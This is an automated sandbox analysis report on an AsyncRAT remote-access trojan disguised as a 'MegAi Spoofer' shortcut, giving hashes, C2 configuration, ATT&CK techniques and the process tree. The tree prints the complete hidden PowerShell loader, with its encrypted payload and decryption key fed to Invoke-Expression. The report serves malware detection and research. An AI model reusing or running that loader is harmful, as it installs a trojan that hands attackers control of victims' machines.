asyncrat | d0099281b0883cbbd38b850b5e57a1b9d50d749f6981a8abcb6b3eee350a9fe8

General

Target

MegAi Spoofer.lnk
Size

3KB
MD5

c69266e801806c1f36f8d0143a357fe8
SHA1

08fca5854ad4eb5ebace23786412fbc40245e719
SHA256

e8f5ff2d4746c29e082d612daca7f1b423a5c9303f1de3ee38fa972de7e26493
SHA512

45cd70c58a4ae5cf0c9cb7963972a7bd8c655b3c44fbd5d8aba7d928ee0838f4e87ea69a09c2c31079300faa3f516009e23a9d6fa367f1998837c90ce885b5c4

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

45.149.241.10:4444

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral3/files/0x00290000000450ce-19.dat	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3868	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3868	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2319007114-3335580451-2147236418-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3252	tmpBBED.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3868	powershell.exe
3868	powershell.exe
3868	powershell.exe
3868	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	3252	tmpBBED.tmp

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 116 wrote to memory of 3868	116	cmd.exe	83
PID 116 wrote to memory of 3868	116	cmd.exe	83
PID 3868 wrote to memory of 3252	3868	powershell.exe	84
PID 3868 wrote to memory of 3252	3868	powershell.exe	84

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\MegAi Spoofer.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:116
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {param($a, $b) $KEYIV = 'rOoSyQMKtiLEjSBPUDJc0YYczA443Ssn2IPrOYs5b2sM8w4BME42qOXFwvyCsNpmHfOZspQ830Ar8dVC7xf6JpsVK8tZUjEfjCysqawpmkS8KATk15abtnKDRey7gbHaHLbX8JHZaFsrOxwNovxMRPxu9EhJN2OFdf4saDXQTsE46hlyERsDkuay1xXfdhEby1H9XjLJzYBHzn1IrTKnMG9dq1wZwoN'; $command = [System.Convert]::FromBase64String($a); $key = [System.Convert]::FromBase64String($b); $e = New-Object System.Security.Cryptography.AesManaged; $e.Key = $key; $e.IV = $command[0..15]; $f = $e.CreateDecryptor(); $g = $f.TransformFinalBlock($command[16..$command.Length], 0, $command.Length - 16); $h = [System.Text.Encoding]::UTF8.GetString($g); Invoke-Expression $h; }" -a "JgYEv1vNidFLlCJrfh7Pms+wIe58pdkMoJWmYm924gNTXGR0ONr0tud7L7VLfWo23+E7ye9dIxWGRf44iAJTDGt8ghXHglYcuTzDSkWccWXTzhY3qx4/ceASLfcSCeGTdKMyvdBVFg9Y1bY6Fmeb3cx39Rx51UOK9vVZ/bHvbtDuuR9j3FcQbSmOUapanLAMTnkPbKb2IFzByI0qNSKYDxdSgQ+oyYsHSnVy1pTlFyI=" -b "sMLETVu+0A9BcAqC+RMOF+ouf+Sr/79huln0GfkiyOw="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Users\Admin\AppData\Local\Temp\tmpBBED.tmp
    "C:\Users\Admin\AppData\Local\Temp\tmpBBED.tmp"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a4p4biru.cxr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpBBED.tmp

Filesize
63KB

MD5
f369e3d35456bdabb400136a632b44c7

SHA1
9e8ab4a74e41f4cfc0ccc31270f8490d612178be

SHA256
fb44c0ec4adf093cb3031a8354cf864f29dfd433926d0018c0b16de53c7af4ba

SHA512
9f86d80fd39b10419543d4cef4bed8936d483d91187d21e237185ebd3c3cd7965f7a58f5eacd791d89e686387811bd5c5fde045d6ac9bd00c918179a35da72ab

Download Submit
memory/3252-20-0x0000000000660000-0x0000000000676000-memory.dmp

Filesize
88KB

Download
memory/3868-2-0x00007FFA0F2C3000-0x00007FFA0F2C5000-memory.dmp

Filesize
8KB

Download
memory/3868-12-0x000002C2CD290000-0x000002C2CD2B2000-memory.dmp

Filesize
136KB

Download
memory/3868-13-0x00007FFA0F2C0000-0x00007FFA0FD82000-memory.dmp

Filesize
10.8MB

Download
memory/3868-14-0x00007FFA0F2C0000-0x00007FFA0FD82000-memory.dmp

Filesize
10.8MB

Download
memory/3868-15-0x00007FFA0F2C0000-0x00007FFA0FD82000-memory.dmp

Filesize
10.8MB

Download
memory/3868-23-0x00007FFA0F2C3000-0x00007FFA0F2C5000-memory.dmp

Filesize
8KB

Download
memory/3868-24-0x00007FFA0F2C0000-0x00007FFA0FD82000-memory.dmp

Filesize
10.8MB

Download
memory/3868-25-0x00007FFA0F2C0000-0x00007FFA0FD82000-memory.dmp

Filesize
10.8MB

Download
memory/3868-26-0x00007FFA0F2C0000-0x00007FFA0FD82000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing